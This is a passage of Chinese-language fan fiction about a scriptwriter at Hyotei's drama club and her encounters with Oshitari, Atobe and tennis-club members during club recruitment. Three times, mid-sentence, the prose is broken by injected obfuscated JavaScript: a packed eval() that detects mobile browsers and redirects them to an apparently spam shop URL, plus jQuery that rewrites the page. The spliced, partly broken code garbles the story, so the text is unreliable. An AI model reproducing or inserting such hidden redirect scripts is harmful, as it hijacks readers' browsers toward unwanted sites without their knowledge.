“那就让他们感兴趣!”栗山抿着手指,眼睛微微眯起,“只要有一丁点兴趣,都不能放过。” “小百合,我发现你越来越像个部长了。”同为三年级的三木拓如此总结她的废话文学。 栗山小百合毫不客气地握拳顶住他脑袋。 “出现了!小百合前辈的铁拳制裁!”神谷夏美眼睛一亮,欢呼鼓掌。 热热闹闹,这就是话剧部的日常。 栗山小百合制裁完三木拓,继续她的发言,扫视过每一位部员,非常满意地点头。 “真是一群漂亮的孩子,明天都给我打扮地美美的。” 原来要使美人计。 接收到她视线的平野月咲举双手投降,试图挣扎:“我是编剧。” “驳回。” “你这双漂亮的眼睛盯着对方看,如果再带点忧郁,谁会不动心。”栗山小百合语重心长,拍了拍她的肩,“特别是那些文艺男女。” 三木点点头,帮她总结:“同类相吸。” “我一直感觉月咲放空自己的样子很迷人。”神谷夏美也说。 “……”平野月咲反问,“眼神是不是最好要欲语还休,有故事感。” 这简直说到栗山小百合心口上:“很好,明天就这样干。” 因为她就是让角色这样演的啊喂! 这个十分不严谨的作战会议以栗山小百合的一句“明天全员给我全力以赴”结束。 平野月咲和藤沢秋奈在冰帝餐厅用了午饭,纠结了下要不要买咖啡,想了想还是算了。 据从初等部直升过来的秋奈所说,那位学生会长迹部景吾的发言还有更夸张的时候—— 国一的时候甚至会宣布“从今天开始本大爷就是冰帝学园的帝王”之类。 现在已经收敛很多,改走沉稳路线。 不过这种讲话在她看来没什么好听的,就算睡着也没关系。 5. 005 打瞌睡时,平野月咲被台上那位华丽的学生会长的激情发言惊醒,只好改成目视前方发呆。 他演讲的每一句话,都从她的左耳进去,右耳出来。 要是安静点就可以睡个好觉了。 这时候她就有点想念竹村老师了,明明语调抑扬顿挫,她还是经常听着听着就睡过去,偶尔也会意识到自己睡过去后又一激灵惊醒……但外力作用下的惊醒就相当不美妙了。 抛却无可挑剔的华丽外貌,迹部景吾拥有非常强大的号召力,悄悄观察过的平野月咲不怀疑他的人格魅力。 但是,也不是所有人都在听吧? 她有心观察着周围人的状态,不论男女,大多数都露出一副痴迷的神情,或是被他的发言感染,神色振奋。 平野月咲定睛一看,坐她斜对面的忍足侑士,在看手机。 满屏文字,密密麻麻,是什么? 告白信吗?还是分手小作文? 有点好奇。 她其实很爱吃瓜,常年潜水学校论坛,看看上面又在聊什么,特别是冰帝的风云人物迹部景吾又被谁告白了,每次这种贴子下面都会讨论他到底喜欢什么样的女生,各种猜测层出不穷。 天生的领导风范,高贵的气质,无死角的帅气脸庞——有混血加成,以及顶尖的家境,这样的古早狗血小说里的霸总男主,竟然活生生就出现在刚转学入冰帝的平野月咲面前! 死去的记忆在疯狂攻击她。 小时候非常流行这类偶像剧,她妈妈还演过霸总的白月光,她也心智不成熟地被吸引,以至于那段日子看到爸爸都十分愧疚…… 只好又缠着爸爸讲述和妈妈的恋爱故事,听完又会十分羡慕,果然还是要更支持爸爸多一点!长大了开始自己创作,也写的全是纯爱美好的故事…… 幸好冰帝学园的学生会长只是为人夸张了点,或者说狂妄,却很难让人讨厌,内心底色温柔……也不介意成为话题中心,如果介意,把自己关在家里才是最好的解决办法。 这一点平野月咲佩服至极。 论坛上关于迹部景吾理想型的讨论帖五花八门,但平野月咲却认为喜欢是没有准确定论的,大多数人最后交往的对象也并不是理想型。 而且,迹部到底有没有白月光啊…… 也有帖子说好嗑迹部和忍足的友情向,列举了一大堆他们俩之间的互动。 不过迹部君最好的朋友忍足君现在好像麻烦缠身,没办法支持他的发言。 也不是吧—— 迹部景吾的发言终于结束,他敷衍地鼓掌了,和她一样。 又过了二十分钟,开学典礼正式结束,散场的时候忍足侑士回头,平野月咲倏地瞪大眼。 “平野桑……怎么这样看着我。” 平野月咲欲言又止,最终还是指指眼睛:“这里,眼睛有点红。” 简直像刚哭过一样。 忍足侑士难得的沉默了。 迹部的发言振奋人心是不错,除了国一那年电车坐反错过了开学典礼,他已经听了三年了。 刚刚在迹部演讲前,他发现有位很喜欢的作者在昨天发了新作品,于是心安理得地在他演讲时打开阅读——被虐得心肝疼…… 怎么会这样!一定是先抑后扬!谁不知道“满月”圈内口碑是纯爱治愈系,接下来一定有反转吧……! 冰帝的天才忍足侑士,大脑转得飞快,竭力优雅地笑了下,从容开口:“最近换季,眼睛也会有点不舒服。” 好烂的借口。 他竟然哭了,那段文字看来是分手小作文。 一定是投入了真感情才会难过吧,没想到他对感情很认真啊…… 平野月咲守护这位失恋男子的自尊心,看破不戳破。 “好,忍足君注意滴眼药水。” 她平静较好的面容上看不出什么情绪波动,忍足侑士也不知道对方信了没有,但愿别产生什么不美好的误会。 还记得有一年,他和岳人被传绯闻,离谱,他可是正正经经向往美好爱情的花季少年好吗。 他不动声色打量着礼貌微笑的少女,平野不像是会逛论坛到处发言的人…… 觉得对方刚失恋,气氛有些尴尬的平野月咲打破沉默:“忍足君,我先回家了。” “哦,我还有部活。” 虽然是邻居,但没有想邀请你一起回家的意思。 “那么,再见。” “平野桑看懂电车路线图了吗?” 闻言平野月咲抬眼看他,静静注视片刻后收回目光。 “我会看懂的。” 忍足侑士挑眉,不知道为什么,心情就是很好。 “交换一下联系方式吧。”他拿出手机,三两下调出名片递到她面前,“等会你到了电车站拍照给我,我告诉你怎么走。” 平野月咲从善如流地接受他的好意,笨蛋才选择走不捷径。 回到家,平野月咲钻进书房,将还未发出的半篇文仔细浏览一遍,修文后预约时间发出。 然后在笔记本上写下“运动型男主”,思考起剧情走向。 创作往往都是先有一瞬的灵感,再为了这个灵感拼凑出主线,为情节需要,人物立体加支线。 和为碟醋包饺子没区别。 想到饺子,平野月咲找了家可以外送的中国料理店,点餐下单。 出门迎接饺子时,管家和对门的忍足君前后脚出了电梯。 网球部这个点才结束训练,运动类社团确实辛苦,如果有比赛,应该会更忙。 管家递了打包袋给她,打完招呼便又进了电梯。 电梯门缓缓合上。 平野月咲往回走了两步,像是有感应似的,回头看了一眼。 忍足侑士倚在门边,开了门却没进去,笑着问:“需要帮忙吗?” 视线从她身上移开,看向她家门口的几个大纸箱子。 是她前两天购物的战利品,预约的送货上门。 买的时候没注意,竟然有整整七个大箱子。 平野月咲再一次对忍足侑士的热心有了新的认识。 “忍足君,你人真好。” 被发好人卡了啊…… “吃饭了吗?不介意的话……”平野月咲晃晃手中的外送,“中国料理,饺子,我点多了。” 忍足侑士确实没有吃饭。 网球部本来是要聚餐庆祝凤、日吉和桦地再次归队,后来因为泷家里有事改了时间。 就像章鱼烧在大阪才能吃到最好吃的一样,饺子一定要选中国料理店的。 于是,忍足侑士搭在门把手上的手轻轻一带,发出“咔哒”一声。 “多谢平野桑款待。” 在帮平野把箱子搬进去的时候,忍足侑士发现她家客厅里的箱子几乎没见少……堆积在玄关和客厅里,但地板光亮,很干净。 “我要找一个合适的时间整理。”平野的声音在他身后响起,波澜不惊,“如果不能一次性整理完,我会很难受。” 倒也没撒谎,即使很大部分原因是平野月咲有轻微的拖延症。 她拜托忍足侑士在玄关外稍等一下,拿剪刀拆了刚搬进来的几个箱子,从里面找出一双男士拖鞋。 “这双怎么样?” 竟然还认真询问他的意见,忍足侑士的唇角上升些许弧度。 “……我要是不喜欢呢?” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454804|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又找出来三双。 “尺码都是一样的,忍足君挑个喜欢的颜色?” 拖鞋的颜色很重要吗?或许对于忍足侑士来说是吧,平野月咲想起和他共乘一趟电梯时好闻的男士香水味,递过来的手帕也十分有品味。 “……没关系,我都可以。” “啊,好。” 忍足侑士确实是个很难懂的人。 平野月咲又拆了新买的餐具,挑了个玻璃杯清洗。 “忍足君,喝水可以吗?我家没有饮料。” 特意的提醒让忍足侑士微微诧异,他解释:“我不喝碳酸饮料,可乐是我朋友留下的。也是发挥了它的用处。” 和他家一样的布局,家具崭新,不见装饰,忽略地上堆积的纸箱,简直就是样板房。 他想起那日遗留在茶几上还剩半听多的可乐:“平野桑也不喜欢?” “太甜了,我比较喜欢吃苦。”平野月咲有意开玩笑,“平时喝咖啡和茶比较多。” “咖啡因会使低血糖更严重。”忍足侑士不是很赞同地皱眉。 “忍足君,那天是意外。”平野月咲拆了打包袋,将饺子端上餐桌,“久等了。” 故意岔开话题,忍足侑士也不再多说,去将倒好水的杯子拿过来。 气氛一时有些沉默,平野月咲突然后悔邀请他一起吃饭。 明明只是觉得忍足君人又好又热心,谈得来,或许可以做朋友,他帮了忙,自己也不想欠人情……但在这之前,他们仅仅是点头之交,和他甚至都没有和他部长熟悉。 电影院是一切的开端,再是邻居,同班同学……自己的戒备心是被什么瓦解的呢,她好像鬼迷心窍了一样。 她一定打扰他看电影了吧…… 落地窗外是斑斓的霓虹色彩,还能看到一角东京塔,城市车流不息,繁华热闹。 额头忽被贴上一阵冰凉,平野月咲回头,入目是玻璃杯和骨节分明的手。她眨眨眼,对方的掌纹清晰可见。 “那天平野桑就这样咚一声撞到我家门上。”忍足侑士收回杯子,抿一口冰水,“吓我一跳。” 平野月咲将被水珠打湿的刘海拨到一边,轻轻触碰了下伤口。 她似乎卸妆了,额上的红色明显很多。也不知道想到什么,她忽然笑一下。 “都过去了。”平野月咲提议道,“我觉得现在很适合碰杯。” 忍足侑士有点疑惑,但还是拿起杯子与她轻轻一碰。 玻璃杯发出清脆声响。 她说:“敬新的开始。” 原来是为这个,忍足侑士笑着附和,庆祝她告别过去:“敬你新的开始。” 平野月咲一口气喝完整杯水,她将话题转到那日的寿司上。 “忍足君是怎么发现那家寿司的,真的很好吃。” 怎么发现的? 怕某人失恋想不开做跟踪狂又怕被发现随便拐进去的——虽然她刚刚看起来也像是失恋病症复发。 “朋友推荐的。” 忍足侑士又想起那日早上收到的礼品袋,她是完全不想欠人情的性格。 在电影院好心递了手帕,对方还回两条,礼品袋里还有几张纸币。今天也是,马上就用一顿晚饭还清。 不过平野还欠他……天上的星星…… 还算是愉快的相处,平野月咲在送走忍足后总结。 他是个非常细腻的人,对氛围的感知很敏感,不过就算他发现自己情绪不对劲,也不会追根究底问她发生了什么。 平野月咲非常喜欢这种距离感。 入睡前,平野月咲收到小百合的简讯。 [月咲!明天一定要拿出百分之百的状态啊!晚安!] 6. 006 新学期的开始,课程并不紧张,氛围也轻松。 平野月咲看着楼下摇曳在樱花花瓣上的树影出神。 “平野桑,门口好像是你朋友。”忍足侑士小声提醒。 平野月咲看过去,藤沢秋奈的脑袋在门口探来探去,见她注意到自己,兴奋地挥了两下手,又示意她看手机。 秋奈:[我们是自习课,已经自主解散了。今天带了便当,我在餐厅等你] 忍足侑士一直以为她是乖学生,直到她熟练地拿出手机回消息,角度也找得刚刚好,完美避开老师视线。 下课铃响,老师第一个走出教室,然后平野月咲马上起身,走得飞快。 藤沢家的厨师做日料很有一手。 “噔噔——” 藤沢秋奈掀开便当盒的盖子,菜色整齐精致,最上方是爱心形状的煎蛋,溏心的,平野月咲很喜欢。 她对食物味道的追求不会很苛刻,但也不能说不挑剔,除了甜的是真的意义上的不喜欢,太腻或太咸的除非没东西吃,否则她会避免摄入,就像一份沙拉,她会选择不加酱食用。 藤沢秋奈就觉得她某种程度上来说非常可怕。 两人是从幼儿园开始的缘分,平野家阿姨的手艺一般,想和朋友交换便当的藤沢秋奈在吃了一天后非常可怜她,三五不时就要给她带自家厨师做的便当,亮晶晶地看月咲吃完,还要夸一句“月咲好棒啊”。 只是没投喂几日,就被月咲警告禁止说出那句夸奖,否则她就不吃了,真可惜。 陷入童年美好回忆的藤沢秋奈满足地看着对方享受食物时眼睛里的光彩,舌尖忽然一苦,紧接着非同一般的苦涩席卷整个口腔。 她拿错杯子了! “我的天,这是什么?” 藤沢秋奈好想吐舌,忍了忍,整张脸皱起来,苦味蔓延至舌根,她赶快喝了口自己的果汁。 “热美式啊。”平野月咲好笑地看着她。 藤沢秋奈的表情更加复杂,美式这种东西,竟然有人能喝热的。 “你进化了,非人类。”好不容易缓过来,藤沢秋奈心有余悸,“我再也不会喝你的饮品。” “我怕喝冰的不舒服,所以买了热的。” 藤沢秋奈佩服地竖了个大拇指。 - 下午是社团招新活动,地点依旧是大礼堂。 话剧部的男生已经搬好了桌子,早到的女生们也在布置摊位,平野月咲和藤沢秋奈分别,过去帮忙。 把话剧部的立牌支起来,宣传单和报名表都整理好后,栗山小百合又在袋子里掏出一卷东西,得意地在空中晃了晃,说这是秘密武器。 她也不卖关子,缓缓展开,又一张张展示。 平野月咲的表情和秋奈刚才如出一辙的复杂,话剧部众人也神色各异。 「想要变成王子的心尖宠?」 「想要探索罗密欧与朱丽叶的绝美爱情?」 「想要了解女巫小姐水晶球的秘密?」 「想要知道国王大人为何这样霸道?」 …… 几张海报全部用花体字制作,部门成员自己的剧照也就算了,但里面有一张迹部景吾啊! “……部长,真的要挂起来吗?” “放心吧,我和迹部打过招呼了。”栗山小百合不在意地摆摆手,而且对方还问她要了原图,可见很是满意。 平野月咲很后悔,为了提升话剧部的人气,找迹部景吾合作的主意还是她出的,据她观察,只要对迹部说“国王这个角色只能由你来演”,他绝对会答应。 事实果然如此,迹部答应出演这个角色,不过他行程太满,从确定出演到正式演出只来排练过一次,但上场了也没出纰漏,演技简直浑然天成,观众反响特别好,妥妥三赢。 平野月咲没想到小百合部长竟然这么不按常理出牌,这个环节去年招新并没有啊! 为避免社死,她默默地坐到离自己那张海报远一点的地方,并祈祷不要被人注意。 然而事与愿违——这几张别出心裁的海报一摆出来就吸引来众多视线,同学们纷纷驻足良久,点评一二,征询意见后咔嚓一声拍下,还有要和国王大人拍合照的。 栗山小百合借机发了好多宣传单,笑容怎么都收不住。 一波接着一波来人,平野月咲愣是没找到机会把自己的海报撤下,面无表情地递传单。 栗山看在眼里,欣慰得不行:“月咲也不要太认真了,有点忧郁过头……” 不,她现在是真的很忧郁。 “侑士,你看!这不是迹部吗?”红头发的男生,声音很有活力。 平野月咲投去目光,嗯……网球部的向日岳人,跳得很高的那位。 忍足侑士在他后面搬着桌子过来,看到这些海报嘴角微不可见地一抽。 为了防止他们误会,栗山小百合赶快解释:“对,我们已经取得了迹部君的肖像使用权。” “还真是自恋啊。”向日岳人毫不客气地评价。 忍足侑士索性将桌子摆在话剧部边上,也近距离过来欣赏一番。 “迹部的话……倒也正常。” 他看向迹部海报旁边挂的那一张“女巫小姐”。黑发黑瞳的“女巫小姐”本人正坐在最角落,不太想说话的样子。 注意到他的目光,颔首示意后抿了口咖啡。 也是,任谁告白被拒还要同框,都会尴尬吧。 他昨天的劝告也果然是一点不想听。 但忍足侑士并不是医生,与这位失恋病人的关系也不是多亲近。贸然关心只会惹人讨厌。 “岳人,快把牌子立上吧。” “嗨嗨……迹部竟然把这种事交给我们做,他名头这么大,怎么不亲自来坐镇……” 忍足侑士倒是无所谓,拍拍搭档的肩:“谁让你没在他手里坚持到抢七。” 网球部的招牌很简单,就写了“网球部”几个字,简单明了。名声在外,也不需要怎么宣传,等着别人来报名就行了。 这样的衬托下,话剧部的摊位简直华丽得过分。 来网球部报名的同学也会顺便欣赏一番隔壁摊位的海报,甚至发出“迹部前辈在演话剧上也毫无死角啊,终于又能追随迹部前辈了!”的感叹。 真是可怕的魅力。 平野月咲默默递过去一张传单,又想到他已经报名了网球部,正想收回,对方眼睛倏地一亮。 “前辈就是女巫小姐吧!” “……是我。” “我有看这场话剧,前辈演得也很不错诶,听说剧本是您写的,简直是为迹部部长量身打造的!” 只是递交了报名表就喊上部长了吗…… 平野月咲挂上礼貌的微笑道谢,本以为这样差不多就能结束对话,他却更加热情地夸她,夸她才华横溢,剧情设计出彩,让迹部部长的魅力展现到了极致。 好一个迹部的狂热粉丝。 “所以……这位同学考虑加入话剧部吗?我相信你肯定能给迹部君写出华丽的剧本。” “诶诶真的吗?!让我想想……”他拧着眉头开始思考。 他竟然真的有在认真考虑! 半分钟后,他退回至网球部的摊位,“抱歉向日前辈,请把我的报名表还给我……我没有打网球的天赋……说不定我换个方式追随迹部前辈会更好……” 向日岳人惊呆了,忍足侑士面无表情地递还了他的报名表。 话剧部众人也惊呆了,纷纷用佩服的眼神看着平野月咲。 平野月咲也惊呆了,她发誓他只是想终止这位学弟滔滔不绝的夸奖…… 好在拿了话剧部的报名表后学弟也没有立马填写,握着两张表神情纠结。 这个墙角挖过来她以后看见邻居都会尴尬愧疚到不行。 平野月咲立马就劝:“网球对你来说究竟是什么呢?是能轻易放弃的东西吗?请务必好好想一想……” “!”学弟郑重鞠了一躬,“多谢前辈指教!我一定会慎重考虑的!” 平野月咲松一口气,一抬眼,栗山小百合幽幽地看着她。 “……” “前辈,一定会有更合适的人。” 平野月咲打算找个借口逃离摊位,正拿上一叠传单,身边忽响起一道清亮的女声。 “栗山,你们这是诈骗,妥妥的诈骗!” 是新闻部部长早川紫苑,愤愤指着迹部景吾的海报控诉。 说起来也怪,话剧部和新闻部每任部长都合不来。 “哦?我可没说海报上的都是部里的成员。”栗山小百合一瞥她,振振有词,“我只是用迹部的脸来吸引眼球,谁不喜欢看帅哥?迹部也接受过你们的采访,你怎么没想到这个主意?你这个部长当得还真是失败……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454805|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 战争一触即发,一个说对方“好心机”,一个说对方“没脑子”。 话剧部成员面面相觑,虽然是小学生吵架,也只好认命上前将两人分开。 早川紫苑一把拉住平野月咲的手:“平野,我一直很赏识你。” “喂喂,你明着挖墙脚!小人!”栗山小百合上前扒拉她的手。 明明她刚刚把墙角塞回去还有怨言……内心腹诽着,早川前辈握着她的手稍稍用力,一双明眸含情脉脉地注视她:“加入我们新闻部吧!我们福利很好的!” 好近的美貌攻击,平野月咲默默像后撤一步:“谢谢早川前辈……”话剧部虽然吵闹,但她很喜欢。 早川也只是想来给栗山添堵,丢下一句“新闻部的大门永远为你敞开”后,一甩长发前往寻找下一个目标。 栗山小百合哼了声,一把夺去平野月咲手里的传单,跟上早川。 两个社团每年抢人都成传统了,简直是莫名其妙的胜负欲。 望着两人离摊位越来越远的背影,三木拓犹豫一瞬,也抬脚跟上:“我得看着点,不能让她们又吵起来了。” “真好啊,三木前辈和小百合部长……”神谷夏美捧着脸感叹。 几人自然知道她说的是什么,皆发出长长的一声“哦——” “小百合部长不知道吧?” “除了部长大家都知道了。” 平野月咲逃离失败,但吃到一口糖,稍感安慰,嘴角微微上扬:“真期待部长知道的那一天。” “什么知道不知道的。”两个摊位离得很近,向日岳人听得一头雾水,“侑士,我怎么听不懂。” 忍足侑士摇摇头:“岳人,你听不懂很正常。” 他们的对话自然也被话剧部成员听见,几人一对视,平野月咲瞬间明白他们在想什么。 果然有人立刻向旁边两位发出邀请:“向日君,忍足君,要不要来我们话剧部体验演戏。” 好几双晶亮的眼睛,让忍足侑士产生一种自己是块被狼盯上的肉的错觉,他连忙摇头。 而他的搭档已经上当了。 “我能演什么角色?” “王子啊公主啊……”神谷夏美眼睛一亮,“我感觉向日君好像很适合演公主,是不是?” “哈?!” “是啊是啊。” “真的诶。” 被围着上下打量,向日岳人起了一身鸡皮疙瘩。 太可怕了! 刚想往忍足身后躲,就听一道温和的女声开口:“向日君很擅长跳跃吧?可以演超级英雄,蜘蛛侠蝙蝠侠之类……” 换成向日岳人的眼睛亮起来:“真的?!” 平野月咲若有所思点头:“拯救公主的骑士也可以,来点动作戏,会很精彩。” 向日岳人激动地说不出话,他忽然想起这位黑发女生的名字,这学期还是他搭档的同班同学来着,“平野桑……” 忍足侑士觉得,话剧部果然也只有平野一个正常人,就像网球部的那一群也不太正常一样。 趁部长不在,平野月咲把迹部的海报取了下来,和原本在最中间的海报调换了位置——这样就可以离她的远些了。 她察觉到忍足侑士正用探究地眼神看她,微笑解释:“你们部长还是在C位最合适。” “原来是这样。” 不然呢? 平野月咲也找不出另外更好的理由,点点头没再多说。 周围还在讨论向日岳人有多适合演公主,吓得他还是躲了起来,其实平野月咲也觉得很合适,而且对于反串角色,她经验丰富,但她从来不勉强别人。 之前类似的活动也不是她强人所难。 “咦,部长她们好像回来了。” 平野月咲看去,就见刚离开的三人与一名扎紫色双马尾的女生往这边走来,中间的女生……有点可爱,极其眼熟。 一股不祥的预感涌上心头,下一刻,手机震动,弹出一条简讯。 赤也:[啊啊啊忘了告诉月姐,现在才想起来!柳生学长让我拜托姐姐多照顾他妹妹!!] 他们已走至摊位前,平野月咲想逃也来不及。 有着超绝可爱面容的紫发少女向前一步,郑重地向她鞠了一躬,长长的双马尾差点拖到地上,声音大得整个半个礼堂都能听见。 “月咲前辈!我是为你而来!” 7. 007 喧哗的礼堂瞬间安静。 平野月咲的脸从脖子红到耳朵根。 明天一定会在论坛看到自己,这两天她将不会再上冰帝论坛吃瓜。 她强撑着微笑:“友绘……” 少女紫色的眼眸亮闪闪:“前辈!” 栗山小百合往她手里塞一张申请表,笑得狡黠:“填了入部申请表,明天就可以来报道了。” 下周才是新部员正式开展部活的时间,但作为部长,栗山小百合有这个权利。 趁着柳生友绘填表的间隙,栗山小百合给了平野月咲一个赞赏的眼神:“干得好,果然是更合适的人选,原来月咲早就知道啊。” 平野月咲无声地叹口气,看着身量较小的少女,她忽然想起一件事:“友绘,你今年不是升国三吗?” 柳生友绘抬起头,神情真挚:“为了追随前辈的步伐,我努力学习,跳级了。” “……” 周围更加安静,她甚至听见倒吸冷气的声音,隔壁摊位的向日岳人更是投来难以置信的目光:“太、太厉害了吧。” 平野月咲心情复杂,嘱咐友绘两句后出了礼堂,她必须找个地方冷静下。 在水槽边冲了两捧冷水,就听身后有人喊她,关西腔里带着笑意,不用回头她都知道是谁。 “平野的魅力真大啊。” “想笑就笑吧,简直是大社死……”平野月咲终于觉得脸上的温度降下来许多,回头长长舒一口气,“真佩服能坦然受到这么多瞩目的人。” 她在说迹部吗? 平野月咲也想到迹部景吾超级夸张的作风,不限于直升机跳伞上学,比赛打个响指就有人喊“胜者是迹部”……换做是她一定会挖个洞把自己埋进去。 “听说忍足君和迹部君关系很好,你有没有采访过他是什么心情。” 果然…… 昨天还说“新的开始”,结果还是放不下迹部来和他打听吗?忍足侑士自嘲地想着,重拾对生活的信心说不定也重拾了继续喜欢的勇气。 心头忽然泛起一阵酸涩感,就像小说里写的一样,失恋果然很难走出来吧?前几日的相处让他产生一种守护失恋少女的错觉。 他曾悄悄去试探迹部——“每天都有人倾倒在本大爷的魅力下,忍足,你到底想说什么?”总之毫不在意的态度说明了一切。 而他,很不甘心,平野和他成为朋友是为了迹部?这种想法忽然就冒出来了。 平野月咲向前迈一步,伸手在忍足面前晃晃。 他的唇紧抿,好像有点不耐烦? 眼镜诡异地反光了…… “为什么不自己去问他?” 语气冷冰冰,平野月咲的心一跳。 忍足侑士自己也吓一跳:“平野……” 平野月咲眉头皱起,回退几步拉开距离。 “你不想问就不问好了……如果和迹部君吵架了也没必要冲我发脾气。” 搞砸了…… 忍足侑士苦笑,对方已经头也不回地离开了。 他现在有一种非常想找迹部来场网球对决的冲动,这样绝对能很好地发泄此刻不愉快的心情。后果可能是流很多汗,打到累趴在地上动弹不得。 忍足侑士拨通了迹部景吾的电话。 迹部的声音还是一如既往的慵懒:“忍足,报名的人怎么样?” “很顺利。”忍足侑士看着女生几乎消失不见的背影,“我看话剧部用了你的照片做海报……” “哦,这件事确实是本大爷允许的。” “原来如此。话说,迹部,刚刚礼堂里有个新生,非常郑重地很大声地向话剧部的平野表达了追随的心意,很有趣,你真应该在场看看。” “嗯?” “平野说真想采访下你被这么多目光注视着是什么感觉,有什么秘诀吗……她好像很苦恼。” 那头沉默两秒,忽然哼笑一声:“非要说的话,本大爷生来就是人群焦点。” “……” “平野……我是说平野月咲。” “我当然知道她是谁,给本大爷写的剧本算蛮有水平的。” “她们说要给岳人也安排个公主的角色。” “哦?”迹部的语气终于不那么懒洋洋,“还记得当年立海大的海原祭么?就是她和幸村一起策划的。” 他的语调骤然高起来,“既然要做就要做到最好,本大爷相信岳人的表现一定能碾压立海大那群人。这件事就交给你来策划,一定要立海大好好看看谁才是真正的王者!” 奇怪的胜负欲,忍足默默在心里吐槽。 “不过离文化祭还有好几个月吧,我想这么重要的活动还是……你亲自和她沟通比较好……” “嗯?本大爷相信你的能力。” “还有,本大爷很忙,就这样,先挂了。” 被好友无情挂断电话的忍足侑士无奈地笑了下。 这是他第一次在迹部面前提起平野的名字,在早已不知拒绝过多少女生心意的迹部眼中——平野的那份心意,恐怕也算不上什么吧。 - 平野月咲的坏心情没持续多久。 忍足侑士刚失恋又和朋友闹不愉快,有情绪很正常,可以理解。 一到家她就打开电脑埋头敲键盘,困扰她两天的问题在下午这场酣畅淋漓的社死中迎刃而解,友绘的出现带给她的还有灵感。 小太阳男女主,互相被对方身上的热烈光芒吸引,藏在日常拌嘴里青涩的暧昧,也非常好磕不是吗? 梳理好故事走向,平野月咲才发现秋奈给她打了个电话,连忙拨回。 对方下午也在礼堂目睹了她社死的全过程,一接通声音里就带着止不住的笑意。 “月咲……噗哈哈哈哈” 她就知道。 “秋奈大小姐,笑这么放肆小心被抓回去上礼仪课,赤崎君又得问我你怎么不高兴了。” 赤崎真树,藤沢秋奈的联姻对象,不苟言笑的京都贵公子,但对秋奈很纵容。 藤沢秋奈收敛了笑声:“很可爱的女孩子呢,月咲的迷妹。” “可爱吧?”平野月咲与有荣焉,但也没想到那孩子会一路追随她到冰帝来。 柳生友绘,她的十级书粉,爱看恋爱小说爱到无法自拔,同时拥有非常可怕的推理能力,仅凭她社交平台账号上偶尔和读者的碎碎念就推断出她的身份,当时就冲到立海大话剧部说出“要一直追随前辈”这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454806|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的宣言……从此平野月咲每次想发动态都要斟酌一二。 但是友绘漂亮乖巧又可爱,在加入话剧部后也一直认真参加部活,最近的聊天里也提到正在尝试创作小说。 平野月咲感到很欣慰。 “嘛嘛~这可能就是偶像的力量。”藤沢秋奈肯定道,“这就是我们月咲的魅力。” 平野月咲习惯了她时不时的夸奖,问她那边料理部的招新情况。 “嘛,也就那样……这时候就忍不住羡慕网球部啊。”藤沢秋奈愤愤,“我们费尽心思招新,网球部的只需要坐在那里收报名表!” 平野月咲也有同感:“这也是没办法的事啦,实力在外,而且冰帝网球部配备的设施也是最先进的。” “月咲,立海大的网球部也是一群帅哥吗?” “对。”这一点是毋庸置疑的,她补充道,“友绘的哥哥就是立海大网球部的。” 藤沢秋奈想到那个可爱的女生,有着颜控属性的大小姐忽然扭捏起来:“好想看点新鲜的帅哥啊~” “……” “不是很熟,约不出来,而且赤崎君会杀了我。” 拒绝三连。 藤沢秋奈哀叹一声,平野月咲终究是不忍心,想了想说:“你很久没见过赤也了吧,给你看看他现在的照片好了,非常非常的帅气啊。” “赤也啊,他以前是蛮可爱的——” 平野月咲发了她一张赤也的近照,姐弟俩新年刚拍的合照,赤也已经比她高将近一个头了。 “唔,现在也挺可爱的,就是和帅气沾不上边啊……” “怎么会?!”平野月咲立刻反驳。 “……我的意思是男人的那种帅气。”藤沢秋奈强调,“要年上!年上啊!” 她也是和月咲一样的姐姐心态来看切原赤也的,抛去只相差一岁的年龄不谈,卷卷的海带头喊她“秋奈姐”的样子还历历在目呢——总之不是她心中所想的帅气。 “啊——”平野月咲拉长声音,“你直接说喜欢赤崎君这种类型的就好了。” “什么嘛……”藤沢秋奈嘟囔着,又问她,“那总体颜值上来说,月咲觉得立海大和冰帝哪个更胜一筹?” 平野月咲回想了下,除了赤也,那些人一年多没有见到,再帅气模样也有点淡去了。 冰帝的话…… 深蓝色头发,戴眼镜的,对他部长非常有意见的,冷漠的脸…… “我现在是冰帝的学生,我有支持冰帝的义务。” 挂断电话,平野月咲又给父母分别发去了慰问简讯。 既然分开是他们的选择,她能做的也只有尊重,一个人生活并不艰难,甚至自由度拉满。 妈妈最先回复:[看到了一条很适合月咲的裙子,已经寄出了哦,注意签收国际快递] 月咲:[谢谢妈妈,到时候一定拍照给妈妈] 爸爸:[在公寓住得还习惯吗?爸爸有点不放心,聘请人来照顾你好吗?] 平野月咲:[我一个人可以的,爸爸工作加油!期待爸爸新电影上映] 请阿姨上门,除了照顾饮食起居外,阿姨最重要的一项工作就是催她早点睡觉。 所以,才不要啊。 8. 008 